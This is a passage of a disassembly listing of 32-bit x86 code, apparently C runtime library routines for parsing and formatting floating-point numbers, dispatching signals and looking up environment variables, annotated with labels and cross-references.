loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; --------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_433E80 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov [ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_433E80 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_433E80 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_433E7C, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_433E80 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_433E7C, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_433E7C, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_433E7C, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_433E7C, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_4CDC94 mov eax, offset dword_4CDC94 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_4CDC90 mov eax, offset dword_4CDC90 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_4CDC98 mov eax, offset dword_4CDC98 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_4CDC8C mov eax, offset dword_4CDC8C loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_4CDA68 and dword_4CDA68, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_4362EC mov dword_4362EC, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_4362E0 mov ecx, dword_4362E4 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:436270h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_4362EC push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_4CDA68, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_4362EC, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_43626C, edx push esi mov eax, offset dword_436268 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_421D8B: ; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_4CF030, 0 push ebx push esi mov esi, dword_4CD9DC push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_4CD9E4, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_4CD9DC test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N 